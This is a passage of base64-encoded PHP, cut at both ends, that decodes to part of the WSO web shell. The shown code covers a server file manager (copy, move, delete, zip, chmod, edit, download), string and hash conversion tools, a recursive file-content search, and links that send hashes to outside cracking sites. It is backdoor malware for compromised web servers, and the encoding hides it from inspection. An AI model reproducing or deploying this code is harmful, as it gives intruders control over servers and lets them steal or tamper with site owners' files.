GFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOyANCiAgICB9IA0KICAgICRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsgDQogICAgZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgeyANCiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpIA0KICAgICAgICAgICAgcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyANCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsgDQogICAgfSANCiAgICB1c29ydCgkZmlsZXMsICJ3c29DbXAiKTsgDQogICAgdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsgDQogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7IA0KICAgICRsID0gMDsgDQogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsgDQogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coJ0ZpbGVzVG9vbHMnLG51bGwsJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLicnLCAndmlldycpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coJ0ZpbGVzTWFuJywnJy4kZlsncGF0aCddLicnKTsiIHRpdGxlPScgLiAkZlsnbGluayddIC4gJz48Yj5bICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/d3NvVmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLicnLCdjaG1vZCcpIj4nLiRmWydwZXJtcyddIA0KICAgICAgICAgICAgLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nJywgJ3JlbmFtZScpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nJywgJ3RvdWNoJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nJywgJ2VkaXQnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJycsICdkb3dubG9hZCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsgDQogICAgICAgICRsID0gJGw/MDoxOyANCiAgICB9IA0KICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PiANCiAgDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPiANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4gDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+IA0KICAgIDxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOyANCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7IA0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOyANCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsgDQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsgDQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKSANCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsgDQogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsgDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0gDQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319IA0KICAgICRzdHJpbmdUb29scyA9IGFycmF5KCANCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywgDQogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsIA0KICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsIA0KICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsIA0KICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsIA0KICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLCANCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLCANCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLCANCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLCANCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsIA0KICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywgDQogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywgDQogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsIA0KICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsIA0KICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsIA0KICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsIA0KICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsIA0KICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywgDQogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLCANCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywgDQogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywgDQogICAgKTsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKSANCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJucnRcJwAiKS4iJztuIjsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIm4iLCAkdGVtcDsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsgDQogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7IA0KICAgIGZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KSANCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOyANCiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7IA0KICAgIH0gDQogICAgZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiANCiAgDQogICAgICAgIDxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+IA0KICAgICAgICAgICAgPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+IA0KICAgICAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8L3RhYmxlPjwvZm9ybT4iOyANCiAgDQogICAgZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgeyANCiAgICAgICAgaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKSANCiAgICAgICAgICAgICRwYXRoLj0nLyc7IA0KICAgICAgICAkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsgDQogICAgICAgIGlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7IA0KICAgICAgICAgICAgZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsgDQogICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkaXRlbSkpeyANCiAgICAgICAgICAgICAgICAgICAgaWYoJHBhdGghPSRpdGVtKSANCiAgICAgICAgICAgICAgICAgICAgICAgIHdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLG51bGwsIiIudXJsZW5jb2RlKCRpdGVtKS4iIiwgInZpZXciKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmKEAkX1BPU1RbJ3AzJ10pIA0KICAgICAgICB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsgDQogICAgZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IA0KICANCiAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFjay5jb20nIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3JhY2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWlsdzBybS5jb20nIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5pbmZvJyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLmluZm8vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDVkZWNyeXB0ZXIuY29tJyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+IA0KICAgICAgICA8L2Zvcm0+PC9kaXY+IjsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgeyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApIA0KICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsgDQogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyANCiAgICAgICAgaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsgDQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7IA0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgeyANCiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsgDQogICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9ZXhpdDsgDQogICAgfSANCiAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsgDQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsgDQogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7IA0KICAgICAgICB3c29Gb290ZXIoKTsgDQogICAgICAgIHJldHVybjsgDQogICAgfSANCiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7IA0KICAgIGlmKCEkdWlkKSB7IA0KICAgICAgICAkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7IA0KICAgIH0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7IA0KICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsgDQogICAgZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7IA0KICAgIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkgDQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsgDQogICAgaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApIA0KICAgICAgICAkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7IA0KICAgIGVsc2UNCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7IA0KICAgIGZvcmVhY2goJG0gYXMgJHYpIA0KICAgICAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCwnJy5zdHJ0b2xvd2VyKCR2KS4nJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsgDQogICAgZWNobyAnPGJyPjxicj4nOyANCiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7IA0KICAgICAgICBjYXNlICd2aWV3JzogDQogICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOiANCiAgICAgICAgICAgIGlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsgDQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOyANCiAgICAgICAgICAgICAgICAkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnY2htb2QnOiANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsgDQogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkgDQogICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7IA0KICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsZWFyc3R